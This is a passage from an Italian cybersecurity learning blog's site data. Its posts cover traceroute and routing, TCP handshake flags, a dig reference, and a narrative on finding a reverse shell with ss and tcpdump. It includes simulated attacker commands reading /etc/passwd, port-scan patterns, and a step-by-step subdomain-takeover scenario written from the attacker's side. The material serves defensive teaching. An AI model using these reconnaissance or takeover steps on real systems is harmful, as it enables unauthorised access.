(è Google, da qualche parte nel backbone europeo).\nStep 2 - IP vs MAC: due indirizzi, due scopi # Prima di capire il viaggio, bisogna risolvere una cosa che confonde quasi tutti.\nUn pacchetto ha due tipi di indirizzo completamente diversi:\nIP address → \u0026#34;dove vuoi arrivare\u0026#34; es. 8.8.8.8 logico - identifica una destinazione su internet non cambia per tutto il viaggio MAC address → \u0026#34;su quale cavo mando il pacchetto adesso\u0026#34; es. b6:56:08:90:16:03 fisico - identifica una scheda di rete specifica valido solo nella subnet locale (LAN) cambia ad ogni hop Puoi vedere i MAC dei dispositivi nella tua LAN con:\nip neighbor show Output dalla VM Kali del lab:\n192.168.64.3 dev eth0 lladdr b6:56:08:90:16:03 REACHABLE 192.168.64.1 dev eth0 lladdr 72:8c:f2:1b:c8:64 REACHABLE Cosa significa: Kali conosce il MAC di Ubuntu (192.168.64.3) e del gateway (192.168.64.1). Google (8.8.8.8) non compare - il suo MAC non arriva mai fino a qui.\nStep 3 - Il viaggio: la busta che cambia # Ogni pacchetto ha due \u0026quot;strati\u0026quot; sovrapposti:\n┌──────────────────────────────────────────┐ │ Header Ethernet (Layer 2) │ │ MAC sorgente: il mio MAC │ ← cambia ad ogni hop │ MAC destinazione: MAC del prossimo hop │ ├──────────────────────────────────────────┤ │ Header IP (Layer 3) │ │ IP sorgente: il mio IP │ ← invariato per tutto il viaggio │ IP destinazione: 8.8.8.8 │ ├──────────────────────────────────────────┤ │ Payload (TCP/UDP/dati...) │ └──────────────────────────────────────────┘ Pensa a una lettera spedita da Firenze a Roma passando per Bologna:\nLa lettera dentro → indirizzo finale: \u0026#34;Roma, Via X\u0026#34; - non cambia mai La busta esterna → indirizzo intermedio: \u0026#34;Bologna\u0026#34; - cambia ad ogni ufficio postale Il router fa esattamente questo: legge l'IP destinazione (la lettera dentro), decide dove mandare il pacchetto, poi riscrive l'header Ethernet (la busta) con i MAC del prossimo tratto.\nIl viaggio completo verso Google:\nsequenceDiagram participant K as Kali (192.168.64.200) participant GW as Gateway UTM (192.168.64.1) participant R as Router di casa (192.168.1.254) participant ISP as Backbone ISP participant G as Google (8.8.8.8) Note over K,GW: Stessa LAN - usa MAC K-\u003e\u003eGW: MAC[kali→gateway] IP[kali→8.8.8.8] Note over GW,R: Router riscrive header Ethernet GW-\u003e\u003eR: MAC[gw→router] IP[kali→8.8.8.8] Note over R,ISP: IP invariato, MAC nuovo R-\u003e\u003eISP: MAC[router→isp] IP[kali→8.8.8.8] Note over ISP,G: 10 hop nel mezzo... ISP-\u003e\u003eG: MAC[lastrouter→google] IP[kali→8.8.8.8] Step 4 - Chi sono questi router? # Senza -n, traceroute risolve i nomi DNS degli hop. Rivela chi gestisce ogni tratto:\nsudo traceroute -T google.com 2 myfastgate.lan (192.168.1.254) ← router di casa - Fastweb 3 192.168.128.1 ← primo nodo ISP 9 93-57-68-133.ip163.fastwebnet.it ← backbone Fastweb - IP pubblico 10 62-101-124-5.fastres.net ← uscita Fastweb verso internet 11 209.85.168.64 ← infrastruttura Google 14 pnmila-ag-in-f14.1e100.net ← server Google Milano Hop 1-3: casa e ISP locale. Hop 4: * * * - router configurato per non rispondere. Normale. Hop 5-8: backbone interno Fastweb, IP privati. Hop 9-10: uscita su IP pubblici. Hop 11-14: Google.\nCome fa il router a sapere dove mandare il pacchetto? Ha una tabella di routing - una mappa locale. Puoi vedere la tua:\nip route show default via 192.168.64.1 dev enp0s1 ← tutto il resto → gateway 192.168.64.0/24 dev enp0s1 ← questa subnet → diretto \u0026quot;Default via\u0026quot; è il router di casa. Tutto quello che non conosco direttamente, lo mando lì. Poi è compito suo decidere il passo successivo - e così via fino a Google.\nCome fanno i router su internet a trovarsi? # Dentro la tua LAN il router trova il MAC del prossimo hop tramite ARP - lo abbiamo visto. Ma tra due router a metà strada tra Firenze e Google, ARP non funziona: sono su reti diverse.\nLa risposta è BGP - Border Gateway Protocol. È il protocollo che tiene in piedi internet. Ogni grande rete (ISP, Google, Fastweb) ha un numero identificativo chiamato AS (Autonomous System). I router BGP si parlano continuamente, scambiandosi informazioni su quali reti sono raggiungibili da dove. Fastweb dice a Google \u0026quot;per i miei IP passa da me\u0026quot;, Google risponde \u0026quot;per i miei passa da me\u0026quot;. Ogni router aggiorna la sua tabella di routing in base a queste informazioni - in tempo reale.\nTra due router direttamente connessi (un link fisico dedicato tra due datacenter), il MAC del prossimo hop viene risolto tramite ARP su quel segmento - esattamente come nella tua LAN, ma su una fibra che collega due edifici a chilometri di distanza.\nBGP è anche il protocollo più delicato di internet: un errore di configurazione può reindirizzare il traffico di mezzo mondo verso il posto sbagliato. È successo più volte.\nVarianti e casi edge # macOS vs Linux\nSu macOS traceroute usa ICMP di default invece di UDP. Il comportamento è lo stesso, ma alcuni router che filtrano UDP su Linux rispondono su macOS e viceversa.\n# Linux default (UDP) traceroute -n 8.8.8.8 # Forza ICMP (come macOS) - supera alcuni firewall traceroute -I -n 8.8.8.8 # Forza TCP - supera quasi tutti i firewall sudo traceroute -T -n 8.8.8.8 Hop con * * * - tre scenari diversi\n* * * → router che filtra ICMP/UDP (comune, normale) * * * → firewall che blocca (possibile problema) * * * → pacchetto perso per congestione (raro ma possibile) Se gli hop successivi al * * * rispondono, il router c'è ma filtra. Se dopo il * * * ci sono solo * * *, il pacchetto si è perso lì.\nARP cache e primo hop\nIl MAC del gateway viene salvato in cache. Puoi vedere lo stato:\nip neighbor show # 192.168.64.1 dev eth0 lladdr 72:8c:f2:1b:c8:64 REACHABLE # REACHABLE → comunicazione recente, MAC valido # STALE → obsoleto, da verificare alla prossima comunicazione # FAILED → nessuna risposta La cache ARP riguarda solo i MAC locali - mai i router su internet.\nQuando NON usarlo # Traceroute non funziona (o dà risultati incompleti) in questi casi:\nFirewall che bloccano completamente ICMP e UDP - vedi solo * * *. Prova con -T (TCP). CGNAT (Carrier-grade NAT) - alcuni ISP mascherano i loro router interni, gli hop appaiono con IP privati ripetuti o mancanti. Reti con routing asimmetrico - il percorso di andata e quello di ritorno sono diversi. Traceroute vede solo l'andata. Diagnostica applicativa - traceroute mostra il percorso di rete, non i problemi a livello applicativo (DNS, TLS, HTTP). Se il sito non carica ma traceroute arriva a destinazione, il problema è sopra il Layer 3. exit 0 # Il MAC è locale. L'IP è globale. Il router è il traduttore tra i due.\nOgni volta che apri un browser, il tuo computer non sa come arrivare a Google - sa solo come arrivare al prossimo router. Poi è quel router a sapere il passo successivo. E così via, salto dopo salto, fino a destinazione.\ntraceroute rende visibile questa catena di fiducia. In un SOC, è il primo strumento che usi quando qualcosa \u0026quot;non risponde\u0026quot; - ti dice esattamente dove il viaggio si interrompe.\nComandi usati: traceroute, ip Concetti correlati: routing-hop-ttl, icmp-mac-ip, arp\n","date":"2 aprile 2026","externalUrl":null,"permalink":"/blog/la-lettera-che-cambia-busta/","section":"Blog","summary":" TL;DR traceroute -n 8.8.8.8 mostra i 14 router tra te e Google - ogni riga è un salto (hop) IP address = destinazione finale, non cambia mai; MAC address = tratto corrente, cambia ad ogni hop Il router legge l'IP dentro (la lettera), riscrive il MAC fuori (la busta) e passa il pacchetto al prossimo salto * * * non significa percorso interrotto - solo che quel router non risponde a ICMP/UDP; prova con -T (TCP) ▶ $ history traceroute -n 8.8.8.8 traceroute -I -n 8.8.8.8 sudo traceroute -T google.com ip neighbor show ip route show Sistema: Linux (testato su Kali 2024 e Ubuntu 24.04) Tools: traceroute, ip - già installati di default Conoscenze: nessuna - si parte da zero\n","title":"La Lettera che Cambia Busta","type":"blog"},{"content":" TL;DR Alert alle 2:47: processo bash con connessione aperta verso IP esterno su porta 4444 → reverse shell attiva ss -tnp | grep ESTABLISHED identifica il processo e il PID in tempo reale tcpdump -i eth0 -n -A legge il payload in chiaro: comandi dell'attaccante visibili direttamente Prima di bloccare: raccogliere history, auth.log, find -mmin -120 - agire troppo presto distrugge le prove ▶ $ history ss -tnp tcpdump -i eth0 -n -A host 185.220.101.34 ip a history grep \u0026quot;185.220.101.34\u0026quot; /var/log/auth.log find / -mmin -120 -type f 2\u0026gt;/dev/null kill -9 [PID] ufw deny from [IP] Sono le 2:47.\nLo schermo è l'unica luce nella stanza. Il telefono vibra sul tavolo - un alert automatico, il tipo che non mandi via con uno swipe.\nAnomaly detected - unusual outbound traffic from 192.168.10.45\n192.168.10.45. Il web server interno. Quello che di notte non dovrebbe parlare con nessuno.\nMi siedo.\nIl primo segnale # La prima cosa che faccio non è guardare i log. È guardare chi è connesso adesso, in questo momento, mentre l'alert è ancora caldo.\nsudo ss -tnp | grep ESTABLISHED Tre righe. Due le riconosco. La terza no.\nESTAB 0 0 192.168.10.45:443 185.220.101.34:52341 users:((\u0026#34;nginx\u0026#34;,pid=1337)) ESTAB 0 0 192.168.10.45:22 192.168.1.10:61291 users:((\u0026#34;sshd\u0026#34;,pid=2891)) ESTAB 0 0 192.168.10.45:4444 185.220.101.34:80 users:((\u0026#34;bash\u0026#34;,pid=3342)) # output simulato nginx sulla 443 - normale. sshd sulla 22 - sono io, connesso da prima. bash sulla 4444 verso un IP esterno sulla porta 80 - questo no.\nUn processo bash non ha nulla da dire alla rete. Tantomeno a un IP che non riconosco, su una porta che non ho aperto io.\nLa connessione # sequenceDiagram participant A as Attaccante (185.220.101.34) participant S as Server Vittima (192.168.10.45) Note over S: bash (pid 3342) apre connessione verso l'esterno S-\u003e\u003eA: TCP SYN porta 4444 → porta 80 A-\u003e\u003eS: SYN-ACK S-\u003e\u003eA: ACK - connessione stabilita A-\u003e\u003eS: [P.] \"cat /etc/passwd\" S-\u003e\u003eA: [P.] \"root:x:0:0:root...\" Note over A,S: canale bidirezionale - comandi in entrata, output in uscita Qualcuno ha stabilito una connessione persistente. Parte dal mio server, raggiunge una macchina esterna. Su quel canale passano comandi in chiaro.\nPer leggere il traffico ho bisogno di catturarlo a livello di interfaccia di rete. Non i log applicativi - quelli non operano a questo livello. Ho bisogno di intercettare i pacchetti prima che vengano interpretati.\nip a # verifico il nome dell\u0026#39;interfaccia - eth0 sudo tcpdump -i eth0 -n -A host 185.220.101.34 Il flag -A mostra il payload in ASCII. Se il traffico non è cifrato, leggo tutto.\nPochi secondi. Poi arriva:\n03:01:14 IP 185.220.101.34.80 \u0026gt; 192.168.10.45.4444: Flags [P.] length 18 .... cat /etc/passwd 03:01:14 IP 192.168.10.45.4444 \u0026gt; 185.220.101.34.80: Flags [P.] length 89 .... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/bin/nologin barno:x:1000:1000::/home/barno:/bin/bash # output simulato In chiaro. Tutto in chiaro.\nQualcuno sta leggendo il mio /etc/passwd in tempo reale, dal proprio terminale, seduto da qualche parte nel mondo.\nSmetto di respirare per un secondo.\nPrima di toccare qualsiasi cosa # L'istinto dice: chiudi la connessione. Banna l'IP. Fai smettere.\nMa se lo faccio adesso, perdo le tracce. L'attaccante sa che è stato scoperto. Forse ha altre backdoor. Forse ha già scaricato quello che cercava.\nPrima si raccoglie, poi si agisce.\n# cosa ha fatto nella sessione history # quando e come è entrato grep \u0026#34;185.220.101.34\u0026#34; /var/log/auth.log # quali file ha toccato nelle ultime 2 ore find / -mmin -120 -type f 2\u0026gt;/dev/null I file modificati di recente raccontano una storia. history racconta un'altra. auth.log racconta quando è cominciato tutto.\nTre fonti. Tre angolazioni diverse dello stesso evento.\nLa chiusura # graph TD Alert[\"Alert 02:47\\noutbound anomalo\"] --\u003e SS SS[\"ss -tnp | grep ESTABLISHED\\nidentifica il processo e il PID\"] SS --\u003e |\"bash su porta 4444\\nnon è un servizio legittimo\"| TCP TCP[\"tcpdump -i eth0 -n -A\\ncattura e legge il payload in chiaro\"] TCP --\u003e |\"traffico non cifrato\\ncomandi visibili\"| Raccolta Raccolta[\"Raccolta prove\\nprima di toccare qualsiasi cosa\"] Raccolta --\u003e H[\"history\\ncosa ha eseguito nella sessione\"] Raccolta --\u003e AL[\"auth.log\\nquando e come è entrato\"] Raccolta --\u003e F[\"find / -mmin -120 -type f\\nquali file ha modificato\"] H --\u003e Kill AL --\u003e Kill F --\u003e Kill Kill[\"kill -9 3342\\ninterrompe il processo bash\\nsenza avvisare l'attaccante\"] Kill --\u003e |\"connessione chiusa\"| Block Block[\"ufw deny from 185.220.101.34\\nblocca l'IP a livello firewall\\ningress e egress\"] Block --\u003e Review Review[\"analisi post-incidente\\ncos'altro ha fatto?\\nci sono altre backdoor?\"] Solo dopo aver raccolto tutto, agisco.\nsudo kill -9 3342 sudo ufw deny from 185.220.101.34 La connessione si chiude. Il processo bash muore. L'IP viene bloccato a livello firewall.\nIl server torna silenzioso.\nSono le 3:22. Ho sudato freddo per trentacinque minuti davanti a uno schermo.\nexit 0 # Non è stato un attacco sofisticato. È stato un processo bash aperto su una porta alta, traffico in chiaro, comandi leggibili con un flag di tcpdump.\nLa cosa che mi ha fermato non è stata la tecnica - è stato non agire d'istinto. Non chiudere subito. Raccogliere prima.\nUn incidente gestito male non è quello che non riesci a bloccare. È quello che blocchi troppo presto, prima di capire quanto in profondità è arrivato.\nDietro le quinte # Cos'è una reverse shell # In una connessione normale, l'attaccante si connette al server vittima. Un firewall può bloccare le connessioni in entrata verso porte non autorizzate.\nIn una reverse shell, è il server vittima che si connette all'attaccante. Il traffico esce - e il firewall spesso lascia passare il traffico in uscita senza filtrarlo.\nConnessione normale (bloccabile): Attaccante ──────────────► Server (porta 22, 80, 443...) FIREWALL blocca se porta chiusa Reverse shell (bypassa il firewall): Server ──────────────────► Attaccante (porta 80 - sembra traffico web) FIREWALL vede traffico in uscita → lascia passare L'attaccante sceglie la porta 80 come destinazione per sembrare traffico HTTP legittimo.\nI flag TCP nel traffico della shell # Tutto il traffico tra server e attaccante usava [P.] - PSH+ACK. Il flag PSH dice al ricevente di consumare i dati immediatamente senza aspettare che il buffer si riempia. Tipico delle shell interattive dove ogni comando deve essere eseguito subito.\n[S] → apertura connessione [S.] → conferma connessione [P.] → dati - comando in arrivo o output in uscita [F.] → chiusura elegante [R] → reset brusco Perché auth.log non ha visto nulla # auth.log registra eventi applicativi - login SSH, sudo, autenticazione PAM. Non vede il traffico di rete grezzo. Un processo bash che apre una connessione TCP verso l'esterno non lascia nessuna traccia in auth.log.\nSolo tcpdump, che opera a livello di interfaccia di rete, ha visto tutto.\nIoC generati # Tipo Valore Contesto MITRE ATT\u0026amp;CK IP 185.220.101.34 C2 server - reverse shell T1071 - Application Layer Protocol Processo bash (pid 3342) shell interattiva remota T1059.004 - Unix Shell Porta 4444 porta sorgente reverse shell T1571 - Non-Standard Port Tecnica traffico in chiaro su porta 80 evasione firewall T1048.003 Checklist prevenzione # Monitorare connessioni in uscita inaspettate con ss -tnp periodicamente Configurare firewall egress - non solo ingress. Il traffico in uscita va filtrato Loggare tutti i processi che aprono connessioni di rete (auditd) Abilitare alert su processi anomali che usano la rete (bash, sh, python su porte alte) Non lasciare traffico non cifrato su connessioni tra sistemi interni Comandi usati: tcpdump, ss Concetti correlati: tcp-handshake, tcp-udp Tools: wireshark\n","date":"1 aprile 2026","externalUrl":null,"permalink":"/blog/il-processo-che-non-dorme-mai/","section":"Blog","summary":" TL;DR Alert alle 2:47: processo bash con connessione aperta verso IP esterno su porta 4444 → reverse shell attiva ss -tnp | grep ESTABLISHED identifica il processo e il PID in tempo reale tcpdump -i eth0 -n -A legge il payload in chiaro: comandi dell'attaccante visibili direttamente Prima di bloccare: raccogliere history, auth.log, find -mmin -120 - agire troppo presto distrugge le prove ▶ $ history ss -tnp tcpdump -i eth0 -n -A host 185.220.101.34 ip a history grep \"185.220.101.34\" /var/log/auth.log find / -mmin -120 -type f 2\u003e/dev/null kill -9 [PID] ufw deny from [IP] ","title":"Il Processo che Non Dorme Mai","type":"blog"},{"content":"","date":"1 aprile 2026","externalUrl":null,"permalink":"/tags/storytelling/","section":"Tags","summary":"","title":"Storytelling","type":"tags"},{"content":" TL;DR Prima di ogni richiesta HTTP il kernel fa un handshake in 3 pacchetti: SYN → SYN+ACK → ACK I flag TCP ([S], [S.], [.], [P.], [R], [F]) si leggono tutti in tcpdump in tempo reale RST = chiusura brusca (porta chiusa, firewall, crash) - molti RST consecutivi sono segnale sospetto I log applicativi non vedono un SYN scan - serve tcpdump a livello di rete ▶ $ history tcpdump -i any -n 'host api.example.com' tcpdump -i any -n 'tcp and port 443' tcpdump 'tcp[tcpflags] \u0026amp; tcp-syn != 0' Stai costruendo un'API. Il client manda una richiesta, il server risponde. Funziona. Ma cosa succede esattamente tra il momento in cui scrivi fetch(\u0026quot;https://api.example.com/data\u0026quot;) e quello in cui arriva la risposta?\nApri tcpdump e guarda:\nsudo tcpdump -i any -n \u0026#39;host api.example.com\u0026#39; 192.168.1.10 \u0026gt; 93.184.216.34.443: Flags [S] # il tuo client 93.184.216.34.443 \u0026gt; 192.168.1.10: Flags [S.] # il server risponde 192.168.1.10 \u0026gt; 93.184.216.34.443: Flags [.] # connessione aperta 192.168.1.10 \u0026gt; 93.184.216.34.443: Flags [P.] # qui partono i dati 93.184.216.34.443 \u0026gt; 192.168.1.10: Flags [.] # server conferma ricezione Tre pacchetti prima che un singolo byte di payload si muova. Questo è il TCP handshake.\nCome funziona # TCP è un protocollo orientato alla connessione: prima di trasmettere dati, le due macchine negoziano. Questo garantisce che entrambi siano pronti e che i pacchetti arrivino nell'ordine corretto.\nLa negoziazione usa i flag TCP - bit nell'header del pacchetto che dichiarano l'intenzione di quel pacchetto:\nFlag Simbolo tcpdump Significato SYN [S] Voglio aprire una connessione SYN+ACK [S.] Ok, sono pronto - e tu? ACK [.] Ho ricevuto il tuo pacchetto PSH [P.] Manda i dati subito, non aspettare il buffer RST [R] Chiusura brusca - porta chiusa, firewall, o errore FIN [F] Ho finito di mandare - chiudiamo in modo ordinato Dal punto di vista del tuo codice, il handshake avviene dentro la syscall connect() - prima ancora che il tuo fetch() possa scrivere la prima riga HTTP.\nIl three-way handshake # Client Server | | | -------- [S] SYN -------\u0026gt; | \u0026#34;voglio connettermi\u0026#34; | | | \u0026lt;------- [S.] SYN+ACK ---- | \u0026#34;ok, sono pronto. e tu?\u0026#34; | | | -------- [.] ACK -------\u0026gt; | \u0026#34;confermato, partiamo\u0026#34; | | | CONNESSIONE APERTA | | | | -------- [P.] dati ------\u0026gt; | qui iniziano i dati veri | | | \u0026lt;------- [.] ACK ---------- | \u0026#34;ricevuto\u0026#34; Il terzo pacchetto [.] è solo ACK - lunghezza zero, nessun dato. I dati viaggiano solo dopo che la connessione è stabilita.\nChiudere una connessione: FIN vs RST # Quando la comunicazione finisce ci sono due strade - e dal punto di vista della sicurezza sono molto diverse:\nFIN - chiusura elegante:\nClient Server | -- [F.] --\u0026gt; | \u0026#34;ho finito di mandare\u0026#34; | \u0026lt;-- [.] --- | \u0026#34;ricevuto\u0026#34; | \u0026lt;-- [F.] -- | \u0026#34;anch\u0026#39;io ho finito\u0026#34; | -- [.] ---\u0026gt; | \u0026#34;ok, ciao\u0026#34; connessione chiusa correttamente RST - chiusura brusca:\nServer Client | -- [R] ---\u0026gt; | connessione tagliata immediatamente RST significa: porta chiusa, firewall che blocca, servizio che crasha, oppure qualcuno che sta facendo un port scan.\nMolti FIN → traffico normale, sessioni che chiudono correttamente Molti RST → segnale sospetto: - port scan in corso - servizio instabile che crasha - firewall che blocca connessioni - SYN flood in atto Cosa vedi con tcpdump # Filtra per host o porta per non annegare nell'output:\n# Tutto il traffico verso un host specifico sudo tcpdump -i any -n \u0026#39;host api.example.com\u0026#39; # Solo TCP, porta 443 (HTTPS) sudo tcpdump -i any -n \u0026#39;tcp and port 443\u0026#39; # Solo i pacchetti SYN - chi si sta connettendo sudo tcpdump -i any -n \u0026#39;tcp[tcpflags] \u0026amp; tcp-syn != 0\u0026#39; Ogni riga corrisponde a un pacchetto. I flag sono dentro le parentesi quadre. L'ordine in cui appaiono è l'ordine reale in cui viaggiano sulla rete.\nIl lato sicurezza: riconoscere un port scan # Un nmap -sS (SYN scan) produce un pattern riconoscibile in tcpdump:\n14:30:45.000 IP 10.0.0.50 \u0026gt; 10.0.0.3.22: Flags [S.] → porta aperta 14:30:45.001 IP 10.0.0.50 \u0026gt; 10.0.0.3.23: Flags [R.] → porta chiusa 14:30:45.001 IP 10.0.0.50 \u0026gt; 10.0.0.3.80: Flags [R.] → porta chiusa 14:30:45.002 IP 10.0.0.50 \u0026gt; 10.0.0.3.443: Flags [S.] → porta aperta 14:30:45.002 IP 10.0.0.50 \u0026gt; 10.0.0.3.3306: Flags [R.] → porta chiusa Segnali: stesso IP verso molte porte in rapida sequenza, mix di [S.] e [R.] come risposta, nessun [.] di completamento.\nLa cosa importante: auth.log e i log SSH sono vuoti - il SYN scan non completa mai il handshake, quindi il servizio non registra nulla. tcpdump a livello di rete vede tutto. I log applicativi da soli non bastano.\nexit 0 # Il TCP handshake è il livello sotto il tuo codice - avviene prima che HTTP, TLS, o il tuo JSON si muovano di un millimetro. Capire i flag cambia come leggi gli errori di rete: un timeout è diverso da un RST, un FIN è diverso da un drop silenzioso.\nLa prossima volta che un'API non risponde, apri tcpdump. I flag raccontano esattamente cosa è successo.\n","date":"31 marzo 2026","externalUrl":null,"permalink":"/blog/tcp-handshake-per-developer/","section":"Blog","summary":" TL;DR Prima di ogni richiesta HTTP il kernel fa un handshake in 3 pacchetti: SYN → SYN+ACK → ACK I flag TCP ([S], [S.], [.], [P.], [R], [F]) si leggono tutti in tcpdump in tempo reale RST = chiusura brusca (porta chiusa, firewall, crash) - molti RST consecutivi sono segnale sospetto I log applicativi non vedono un SYN scan - serve tcpdump a livello di rete ▶ $ history tcpdump -i any -n 'host api.example.com' tcpdump -i any -n 'tcp and port 443' tcpdump 'tcp[tcpflags] \u0026 tcp-syn != 0' Stai costruendo un'API. Il client manda una richiesta, il server risponde. Funziona. Ma cosa succede esattamente tra il momento in cui scrivi fetch(\"https://api.example.com/data\") e quello in cui arriva la risposta?\n","title":"Cosa succede davvero sulla rete mentre il tuo codice gira","type":"blog"},{"content":" Cosa fa # Invia query DNS a un nameserver e mostra la risposta grezza e completa. A differenza di nslookup, dig mostra tutti i dettagli della risposta — TTL, sezione authority, sezione additional — ed e' lo strumento standard per diagnostica DNS in contesto operativo.\nSintassi # dig [@server] dominio [tipo] [opzioni]\nComandi essenziali # Comando Flag/Argomento Significato Cosa fa dig esempio.com — — Query A di default — restituisce l'IPv4 dig esempio.com A A tipo record Record A — IPv4 dig esempio.com MX MX tipo record Mail server del dominio dig esempio.com NS NS tipo record Nameserver autoritativi dig esempio.com TXT TXT tipo record Record TXT — SPF, DKIM, DMARC, verifiche dig esempio.com CNAME CNAME tipo record Alias — a cosa punta il nome dig +short esempio.com +short output breve Solo la risposta, niente metadati dig +trace esempio.com +trace traccia catena Segue la risoluzione da root a NS autoritativo dig -x 93.184.216.34 -x reverse Reverse DNS — da IP a nome dig @8.8.8.8 esempio.com @server server specifico Usa Google come resolver invece del default Leggere l'output # dig google.com A ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.18.1 \u0026lt;\u0026lt;\u0026gt;\u0026gt; google.com A ;; QUESTION SECTION: ;google.com. IN A # cosa hai chiesto ;; ANSWER SECTION: google.com. 300 IN A 142.250.x.x # ^ ^ # TTL in secondi IP risposta ;; Query time: 12 msec ;; SERVER: 192.168.1.1#53 # resolver usato ;; WHEN: Mon Mar 30 07:00:00 2026 ;; MSG SIZE rcvd: 55 Le sezioni principali:\nQUESTION — cosa hai chiesto ANSWER — la risposta AUTHORITY — chi e' autoritativo per questo dominio ADDITIONAL — info extra (spesso IP dei nameserver) Combinazioni utili # # Confronta risposte di resolver diversi dig @1.1.1.1 esempio.com A dig @8.8.8.8 esempio.com A # Se le risposte differiscono: cache avvelenata o propagazione in corso # Controlla record email (diagnosi spam) dig esempio.com TXT # Cerca v=spf1 (SPF), v=DKIM1 (DKIM), v=DMARC1 (DMARC) # Segui la catena completa di risoluzione dig +trace esempio.com # Mostra: root → TLD → nameserver autoritativo # Reverse DNS su un IP sospetto dig -x 185.220.101.x # Scopri a chi appartiene quell\u0026#39;IP senza aprire il browser Scenario Reale — Subdomain Takeover (CNAME pendente) # Un attaccante ricerca CNAME orfani con dig:\n# Step 1 — scopre il CNAME dig blog.azienda.com CNAME # blog.azienda.com. CNAME quiet-lake-1234.herokuapp.com. # Step 2 — verifica se la destinazione esiste ancora dig quiet-lake-1234.herokuapp.com A # NXDOMAIN — nessuno lo possiede piu\u0026#39; # Step 3 — registra quella app su Heroku # Step 4 — blog.azienda.com punta ora al suo server Difesa: monitora i CNAME verso servizi esterni. Se il servizio viene dismesso, rimuovi il record immediatamente.\nScenario Reale — DNS Hijacking (incident response) # Un utente segnala pagina di login anomala su intranet.azienda.com:\n# Controlla cosa risponde il resolver locale dig intranet.azienda.com # Confronta con il resolver aziendale legittimo dig @dns-aziendale.com intranet.azienda.com # Se gli IP differiscono: il resolver locale e\u0026#39; compromesso # Controlla /etc/resolv.conf sulla macchina sospetta cat /etc/resolv.conf Dove l'ho usato # Room DNS in Detail — TryHackMe settimana 5 Note personali # Tip dig +short e' il tuo alias mentale per \u0026quot;dammi solo la risposta\u0026quot; — utile negli script e quando vuoi solo verificare un IP rapidamente.\nTip dig +trace e' il tuo debugger DNS — quando qualcosa non risolve, questo mostra esattamente dove la catena si rompe.\nNote dig -x IP su un IP sospetto trovato nei log e' il primo passo di threat intel manuale — spesso rivela il provider o il nome dell'host attaccante.\nCollegato a # network — categoria dns-records — tutti i tipi di record che dig interroga dns-resolution-flow — la catena che +trace segue nslookup — alternativa piu' semplice, meno dettagli ","date":"30 marzo 2026","externalUrl":null,"permalink":"/comandi/dig/","section":"Comandi","summary":"Invia query DNS a un nameserver e mostra la risposta completa. Strumento principale per diagnosticare DNS, verificare record, seguire la catena di risoluzione e rilevare anomalie.","title":"dig - domain information groper","type":"comandi"},{"content":" Cos'e' # Sequenza di pacchetti che stabilisce, mantiene e chiude una connessione TCP. Ogni pacchetto porta uno o piu' flag che indicano lo scopo del pacchetto. Leggere i flag in tcpdump e' la competenza base di un SOC analyst.\nTL;DR # Prima dei dati → negoziazione obbligatoria in 3 pacchetti Durante → dati con conferma (ACK) ad ogni scambio Chiusura → FIN (educata) o RST (brusca) Esempio reale visto in tcpdump durante SSH da Kali a Ubuntu:\n192.168.64.200 \u0026gt; 192.168.64.3.22: Flags [S] # SYN 192.168.64.3.22 \u0026gt; 192.168.64.200: Flags [S.] # SYN+ACK 192.168.64.200 \u0026gt; 192.168.64.3.22: Flags [.] # ACK 192.168.64.200 \u0026gt; 192.168.64.3.22: Flags [P.] # PUSH dati 192.168.64.3.22 \u0026gt; 192.168.64.200: Flags [.] # ACK conferma I Flag TCP # Flag Simbolo tcpdump Nome completo Traduzione Significato operativo SYN [S] Synchronize Sincronizza Apre la connessione — \u0026quot;voglio connettermi\u0026quot; ACK [.] Acknowledge Conferma Conferma ricezione — \u0026quot;ho ricevuto\u0026quot; SYN+ACK [S.] Synchronize + Acknowledge Sincronizza + Conferma Risposta al SYN — \u0026quot;ok, e tu?\u0026quot; PSH [P.] Push Spingi Consuma questi dati subito, non aspettare il buffer RST [R] Reset Reimposta Chiude bruscamente — porta chiusa o errore FIN [F.] Finish Finisci Chiusura elegante — \u0026quot;ho finito di mandare\u0026quot; URG [U] Urgent Urgente Dati urgenti — raramente usato Three-Way Handshake (3 passi) APERTURA # Client Server | | | ------- [S] SYN --------\u0026gt; | \u0026#34;voglio connettermi\u0026#34; | | | \u0026lt;------ [S.] SYN+ACK ---- | \u0026#34;ok, sono pronto. tu?\u0026#34; | | | ------- [.] ACK --------\u0026gt; | \u0026#34;confermato, si parte\u0026#34; | | | CONNESSIONE APERTA | | | | ------- [P.] dati ------\u0026gt; | i dati veri iniziano qui | | | \u0026lt;------ [.] ACK ---------- | \u0026#34;ricevuto\u0026#34; Il terzo pacchetto [.] e' solo ACK — lunghezza 0, nessun dato. I dati viaggiano solo dopo la connessione stabilita.\nFour-Way Handshake (4 passi) CHIUSURA # Client Server | | | ------- [F.] FIN+ACK ---\u0026gt; | \u0026#34;ho finito di mandare\u0026#34; | | | \u0026lt;------ [F.] FIN+ACK ---- | \u0026#34;anch\u0026#39;io ho finito\u0026#34; | | | ------- [.] ACK --------\u0026gt; | \u0026#34;confermato\u0026#34; | | | CONNESSIONE CHIUSA | Chiusura: FIN vs RST # Due modi per chiudere una connessione — molto diversi dal punto di vista difensivo:\nCHIUSURA ELEGANTE (FIN) CHIUSURA BRUSCA (RST) Client Server Client Server | | | | | -- [F.] FIN -\u0026gt; | | \u0026lt;-- [R] RST -- | | \u0026lt;- [.] ACK --- | | | | \u0026lt;- [F.] FIN -- | connessione | | -- [.] ACK --\u0026gt; | tagliata | | | immediatamente | connessione | chiusa | correttamente Dal punto di vista SOC:\nMolti FIN → traffico normale, sessioni che finiscono Molti RST → segnale sospetto: - port scan in corso - servizio che crasha - firewall che blocca - SYN flood Port Scan — cosa vedi in tcpdump # Un nmap -sS (SYN scan) sulla stessa rete produce pattern riconoscibili:\nPORTA APERTA (es. 22 SSH) Kali --[S]--\u0026gt; Ubuntu:22 SYN Ubuntu --[S.]--\u0026gt; Kali SYN+ACK (il servizio risponde) Kali --[R]--\u0026gt; Ubuntu:22 RST (nmap taglia prima del terzo ACK) PORTA CHIUSA (es. 801) Kali --[S]--\u0026gt; Ubuntu:801 SYN Ubuntu --[R.]--\u0026gt; Kali RST (nessun servizio in ascolto) Differenza chiave: porta aperta risponde [S.], porta chiusa risponde [R.].\nSYN Scan — perche' e' silenzioso # Il SYN scan (nmap -sS) non completa mai il handshake:\nHandshake completo SYN Scan (connessione normale) (nmap -sS) [S] --\u0026gt; [S] --\u0026gt; [S.] \u0026lt;-- [S.] \u0026lt;-- [.] --\u0026gt; ← 